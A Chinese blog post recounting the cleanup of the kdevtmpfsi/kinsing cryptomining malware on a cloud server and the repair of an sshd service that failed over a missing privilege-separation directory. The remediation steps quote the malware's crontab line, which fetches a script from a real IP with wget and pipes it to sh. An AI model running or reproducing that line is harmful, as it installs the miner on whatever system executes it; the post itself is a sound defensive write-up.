SSH突然无法连接排查2个小时最终解决Failed to start OpenSSH server daemon及阿里云服务器的 kdevtmpfsi 挖矿病毒

1,874 阅读3分钟

本文已参与「新人创作礼」活动,一起开启掘金创作之路。

说明

我有两台云服务器,一台阿里的(买了1年),一台腾讯的(买了3年),都是基本配置1核心2G内存(阿里云盘是40G腾讯的是50G),这几天一直收到阿里云的短信说出现了紧急安全事件:恶意脚本代码执行...

今天早上就登录了阿里云服务器查看了一下top,发现 kdevtmpfsi 的进程 cup 占用快100%了,中招的朋友不少,解决方法如下【一共5个步骤】腾讯官方也有相关的 处理方法

# 1.查看kdevtmpfsi的守护进程kinsing先kill掉【否则kdevtmpfsi进程会不断恢复占用】
[root@aliyun ~]# ps -aux | grep kinsing
# 2.查看kdevtmpfsi的进程并kill掉
[root@aliyun ~]# ps -aux | grep kdevtmpfsi 
# 3.删除/tmp/下kdevtmpfsi相关文件
[root@aliyun ~]# cd /tmp/
[root@aliyun tmp]# rm -rf kdevtmpfsi
# 4.删除/var/tmp/下kinsing相关文件
[root@aliyun ~]# cd /var/tmp/
[root@aliyun tmp]# rm -rf kinsing
# 5.查询并删除定时任务 
	# 查询
	[root@aliyun ~]# crontab -l
	* * * * * wget -q -O - http://195.3.146.118/spr.sh | sh > /dev/null 2>&1
	# 编辑删除 删除全部定时任务 crontab -r
	[root@aliyun ~]# crontab -e

至此,阿里云的服务器问题解决,:cry: 谁知道,让我哭的是腾讯的云服务器。昨天我还在测试Hadoop,今天使用ssh客户端无法登录,我一想,会不会也是这个病毒...【可惜不是 :flushed:】

SSH无法连接问题排查

我先是上控制台进行了实例的自助检测,发现今天上午【连接数出现过达到上限的情况】: 在这里插入图片描述 ping了一下服务器,通了... 在这里插入图片描述 又确认了一下安全组,没有问题啊... 在这里插入图片描述 进行了实例端口验通,也是没有问题... 在这里插入图片描述 然后使用腾讯云的控制台登录了服务器: 在这里插入图片描述 使用标准登录方式【TCP:22】自然是无法登录的,所以用的是VNC登录: 在这里插入图片描述 登录后发现hosts映射和hostname都已经被篡改了,随后查看了 top 没有发现异常,查看 crontab 也没有异常,然后就剩 SSH 服务了:

## 查看服务状态【处理时没有截图】这里复现一下,一直处在【activating(auto-restart)】
[root@VM-0-8-centos ~]# systemctl status sshd.service
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)
   Active: activating(auto-restart) (Result: exit-code) since Fri 2021-08-20 13:38:56 CST; 7s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
  Process: 31925 ExecStart=/usr/sbin/sshd -D $OPTIONS (code=exited, status=255)
 Main PID: 31925 (code=exited, status=255)

Aug 20 13:38:41 VM-0-8-centos systemd[1]: sshd.service: main process exited, code=exited, status=255/n/a
Aug 20 13:38:41 VM-0-8-centos systemd[1]: Failed to start OpenSSH server daemon.
Aug 20 13:38:41 VM-0-8-centos systemd[1]: Unit sshd.service entered failed state.
Aug 20 13:38:41 VM-0-8-centos systemd[1]: sshd.service failed.
Aug 20 13:38:56 VM-0-8-centos systemd[1]: Stopped OpenSSH server daemon.

# 查看报错原因
[root@VM-0-8-centos ~]# sshd -t
Missing privilege separation directory: /var/empty/sshd

# 创建文件夹 
[root@VM-0-8-centos ~]# mkdir -p /var/empty/sshd/etc
# 时区设置
[root@VM-0-8-centos ~]# cd /var/empty/sshd/etc/
[root@VM-0-8-centos etc]# ln -s /etc/localtime localtime

# 启动ssh服务
[root@VM-0-8-centos etc]# systemctl start sshd.service
# 再次查看状态
[root@VM-0-8-centos etc]# systemctl status sshd.service
● sshd.service - OpenSSH server daemon
   Loaded: loaded (/usr/lib/systemd/system/sshd.service; enabled; vendor preset: enabled)
   Active: active (running) since Fri 2021-08-20 13:48:24 CST; 4min 7s ago
     Docs: man:sshd(8)
           man:sshd_config(5)
 Main PID: 1015 (sshd)
   CGroup: /system.slice/sshd.service
           ├─1015 /usr/sbin/sshd -D
           ├─1742 sshd: unknown [priv]
           └─1743 sshd: unknown [net]

启动ssh服务成功,问题解决。

总结

:rage: 最终我也不知道为什么突然就无法访问,没有病毒木马,没有恶意连接。收获是:排查问题要从源头排查,刚开始没有想到是SSH服务的问题,一直以为是端口护着TCP无法连接。【给大家一个建议,经常修改服务器登录密码。】 :ok_hand: